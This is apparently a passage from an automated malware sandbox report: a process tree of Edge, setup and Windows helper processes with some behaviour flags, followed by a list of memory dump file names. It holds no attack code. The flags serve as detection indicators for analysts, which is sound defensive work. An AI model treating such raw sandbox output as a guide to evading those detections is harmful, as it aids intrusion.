                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,3455688577905027475,521047540180079258,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3880 /prefetch:1
                                                                                          3⤵
                                                                                            PID:3940
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,3455688577905027475,521047540180079258,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5068 /prefetch:1
                                                                                            3⤵
                                                                                              PID:4228
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,3455688577905027475,521047540180079258,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --mojo-platform-channel-handle=5316 /prefetch:8
                                                                                              3⤵
                                                                                                PID:4572
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,3455688577905027475,521047540180079258,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --mojo-platform-channel-handle=5316 /prefetch:8
                                                                                                3⤵
                                                                                                  PID:4596
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
                                                                                                  3⤵
                                                                                                  • Drops file in Program Files directory
                                                                                                  PID:4676
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xd4,0x10c,0x110,0x13c,0x108,0x7ff698f55460,0x7ff698f55470,0x7ff698f55480
                                                                                                    4⤵
                                                                                                      PID:4708
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,3455688577905027475,521047540180079258,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5456 /prefetch:1
                                                                                                    3⤵
                                                                                                      PID:1492
                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2128,3455688577905027475,521047540180079258,131072 --lang=en-US --service-sandbox-type=audio --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --mojo-platform-channel-handle=5616 /prefetch:8
                                                                                                      3⤵
                                                                                                        PID:5008
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 3420 -ip 3420
                                                                                                    1⤵
                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                    PID:3236
                                                                                                  • C:\Windows\System32\CompPkgSrv.exe
                                                                                                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                    1⤵
                                                                                                      PID:1316
                                                                                                    • C:\Windows\System32\CompPkgSrv.exe
                                                                                                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                      1⤵
                                                                                                        PID:796
                                                                                                      • C:\Windows\System32\CompPkgSrv.exe
                                                                                                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                        1⤵
                                                                                                          PID:5092
                                                                                                        • C:\Windows\system32\AUDIODG.EXE
                                                                                                          C:\Windows\system32\AUDIODG.EXE 0x478 0x4ac
                                                                                                          1⤵
                                                                                                            PID:4752

                                                                                                          Network

                                                                                                                MITRE ATT&CK Enterprise v6

                                                                                                                Replay Monitor

                                                                                                                Loading Replay Monitor...

                                                                                                                Downloads

                                                                                                                memory/492-172-0x0000000004E40000-0x0000000004E5E000-memory.dmp

                                                                                                                memory/492-171-0x0000000004DC0000-0x0000000004DC1000-memory.dmp

                                                                                                                memory/492-170-0x0000000004FB0000-0x0000000004FB1000-memory.dmp

                                                                                                                memory/492-175-0x0000000005570000-0x0000000005B14000-memory.dmp

                                                                                                                memory/492-167-0x0000000004E60000-0x0000000004ED6000-memory.dmp

                                                                                                                memory/492-164-0x0000000000480000-0x000000000050A000-memory.dmp

                                                                                                                memory/492-163-0x0000000000480000-0x000000000050A000-memory.dmp

                                                                                                                memory/660-235-0x00000000010F0000-0x00000000010F7000-memory.dmp

                                                                                                                memory/660-237-0x00000000010E0000-0x00000000010EC000-memory.dmp

                                                                                                                memory/764-271-0x000002A276770000-0x000002A276772000-memory.dmp

                                                                                                                memory/764-270-0x000002A276770000-0x000002A276772000-memory.dmp

                                                                                                                memory/1140-184-0x0000000000400000-0x00000000005CF000-memory.dmp

                                                                                                                memory/1140-179-0x00000000006B2000-0x00000000006C2000-memory.dmp

                                                                                                                memory/1140-313-0x0000018CD6C3B000-0x0000018CD6C3C000-memory.dmp

                                                                                                                memory/1140-319-0x0000018CD6D30000-0x0000018CD6D32000-memory.dmp

                                                                                                                memory/1140-320-0x0000018CD6D30000-0x0000018CD6D32000-memory.dmp

                                                                                                                memory/1912-215-0x0000000003000000-0x00000000030F1000-memory.dmp

                                                                                                                memory/1912-219-0x0000000003000000-0x00000000030F1000-memory.dmp

                                                                                                                memory/2252-262-0x000000001AE83000-0x000000001AE85000-memory.dmp

                                                                                                                memory/2252-261-0x000000001AE80000-0x000000001AE82000-memory.dmp

                                                                                                                memory/2252-260-0x0000000000840000-0x0000000000862000-memory.dmp

                                                                                                                memory/2252-258-0x0000000000010000-0x0000000000022000-memory.dmp

                                                                                                                memory/2252-257-0x0000000000010000-0x0000000000022000-memory.dmp

                                                                                                                memory/2412-134-0x0000000002920000-0x0000000002936000-memory.dmp

                                                                                                                memory/2412-165-0x0000000008570000-0x0000000008586000-memory.dmp

                                                                                                                memory/2564-145-0x00000000004D0000-0x00000000004D9000-memory.dmp

                                                                                                                memory/2564-147-0x0000000000400000-0x0000000000452000-memory.dmp

                                                                                                                memory/2564-146-0x00000000004E0000-0x00000000004E9000-memory.dmp

                                                                                                                memory/2592-308-0x00000237FBBA0000-0x00000237FBBA2000-memory.dmp

                                                                                                                memory/2592-305-0x00000237FBBA0000-0x00000237FBBA2000-memory.dmp

                                                                                                                memory/2620-244-0x00000000009A0000-0x0000000000A00000-memory.dmp

                                                                                                                memory/2740-151-0x00000000007C9000-0x00000000007DA000-memory.dmp

                                                                                                                memory/2740-152-0x0000000000720000-0x000000000073C000-memory.dmp

                                                                                                                memory/2740-153-0x0000000000400000-0x00000000005D0000-memory.dmp

                                                                                                                memory/2836-141-0x00000000005F9000-0x000000000060A000-memory.dmp

                                                                                                                memory/3116-239-0x0000000000B70000-0x0000000000BDB000-memory.dmp

                                                                                                                memory/3116-238-0x0000000000BE0000-0x0000000000C54000-memory.dmp

                                                                                                                memory/3256-233-0x0000000004960000-0x00000000049C8000-memory.dmp

                                                                                                                memory/3256-234-0x00000000049D0000-0x0000000004A62000-memory.dmp

                                                                                                                memory/3256-231-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                                                                                memory/3256-236-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                                                                                memory/3256-229-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                                                                                memory/3256-228-0x00000000048B0000-0x0000000004955000-memory.dmp

                                                                                                                memory/3256-248-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                                                                                memory/3256-245-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                                                                                memory/3256-246-0x0000000004A70000-0x0000000004ABF000-memory.dmp

                                                                                                                memory/3256-247-0x0000000004AF0000-0x0000000004B81000-memory.dmp

                                                                                                                memory/3300-212-0x00000000043F0000-0x00000000043F7000-memory.dmp

                                                                                                                memory/3300-210-0x000000000A200000-0x000000000A60B000-memory.dmp

                                                                                                                memory/3300-208-0x00000000043E0000-0x00000000043E5000-memory.dmp

                                                                                                                memory/3300-206-0x00000000031F0000-0x0000000003200000-memory.dmp

                                                                                                                memory/3300-204-0x00000000031E0000-0x00000000031E6000-memory.dmp

                                                                                                                memory/3300-202-0x0000000005200000-0x000000000540F000-memory.dmp

                                                                                                                memory/3300-183-0x0000000002D60000-0x0000000002D61000-memory.dmp

                                                                                                                memory/3300-182-0x0000000002D60000-0x0000000002D61000-memory.dmp

                                                                                                                memory/3300-181-0x0000000003040000-0x0000000003055000-memory.dmp

                                                                                                                memory/3400-240-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                                                                                memory/3400-252-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                                                                                memory/3400-259-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                                                                                                memory/3420-253-0x0000000002530000-0x0000000002590000-memory.dmp

                                                                                                                memory/3616-162-0x0000000000400000-0x00000000005CF000-memory.dmp

                                                                                                                memory/3616-160-0x00000000006E9000-0x00000000006FA000-memory.dmp

                                                                                                                memory/3616-161-0x00000000021F0000-0x0000000002203000-memory.dmp

                                                                                                                memory/3684-133-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                                                memory/3760-131-0x0000000000640000-0x0000000000649000-memory.dmp

                                                                                                                memory/3760-130-0x0000000000778000-0x0000000000789000-memory.dmp

                                                                                                                memory/3788-201-0x0000000005DB0000-0x0000000005E16000-memory.dmp

                                                                                                                memory/3788-190-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                memory/3788-191-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                memory/3788-220-0x00000000069F0000-0x0000000006BB2000-memory.dmp

                                                                                                                memory/3788-221-0x00000000070F0000-0x000000000761C000-memory.dmp

                                                                                                                memory/3788-196-0x0000000004D70000-0x0000000005388000-memory.dmp

                                                                                                                memory/3788-192-0x0000000005390000-0x00000000059A8000-memory.dmp

                                                                                                                memory/3788-193-0x0000000004D70000-0x0000000004D82000-memory.dmp

                                                                                                                memory/3788-199-0x0000000005200000-0x0000000005276000-memory.dmp

                                                                                                                memory/3788-194-0x0000000004EA0000-0x0000000004FAA000-memory.dmp

                                                                                                                memory/3788-187-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                memory/3788-195-0x0000000004DD0000-0x0000000004E0C000-memory.dmp

                                                                                                                memory/3788-198-0x0000000005160000-0x00000000051F2000-memory.dmp

                                                                                                                memory/3788-197-0x0000000005F60000-0x0000000006504000-memory.dmp

                                                                                                                memory/3788-200-0x0000000005320000-0x000000000533E000-memory.dmp

                                                                                                                memory/3940-327-0x000001C16E330000-0x000001C16E332000-memory.dmp

                                                                                                                memory/3940-322-0x000001C16E23B000-0x000001C16E23C000-memory.dmp

                                                                                                                memory/3940-328-0x000001C16E330000-0x000001C16E332000-memory.dmp

                                                                                                                memory/3940-326-0x000001C16E330000-0x000001C16E332000-memory.dmp

                                                                                                                memory/3940-325-0x000001C16E330000-0x000001C16E332000-memory.dmp

                                                                                                                memory/3992-298-0x0000017E00EAA000-0x0000017E00EAB000-memory.dmp

                                                                                                                memory/3992-310-0x0000017E00F90000-0x0000017E00F92000-memory.dmp

                                                                                                                memory/3992-300-0x00007FF95B070000-0x00007FF95B071000-memory.dmp

                                                                                                                memory/3992-301-0x0000017E00F90000-0x0000017E00F92000-memory.dmp

                                                                                                                memory/3992-302-0x0000017E00F90000-0x0000017E00F92000-memory.dmp

                                                                                                                memory/3992-306-0x0000017E00F90000-0x0000017E00F92000-memory.dmp

                                                                                                                memory/3992-304-0x0000017E00F90000-0x0000017E00F92000-memory.dmp

                                                                                                                memory/4040-274-0x000001E0029E0000-0x000001E0029E2000-memory.dmp

                                                                                                                memory/4040-273-0x000001E0029E0000-0x000001E0029E2000-memory.dmp

                                                                                                                memory/4228-332-0x0000017E72720000-0x0000017E72722000-memory.dmp

                                                                                                                memory/4228-333-0x0000017E72720000-0x0000017E72722000-memory.dmp

                                                                                                                memory/4228-334-0x0000017E72720000-0x0000017E72722000-memory.dmp

                                                                                                                memory/4228-335-0x0000017E72720000-0x0000017E72722000-memory.dmp

                                                                                                                memory/4228-329-0x0000017E7262C000-0x0000017E7262D000-memory.dmp

                                                                                                                memory/4596-337-0x000001EF4F350000-0x000001EF4F352000-memory.dmp

                                                                                                                memory/4596-338-0x000001EF4F350000-0x000001EF4F352000-memory.dmp

                                                                                                                memory/4676-340-0x000002F324E50000-0x000002F324E52000-memory.dmp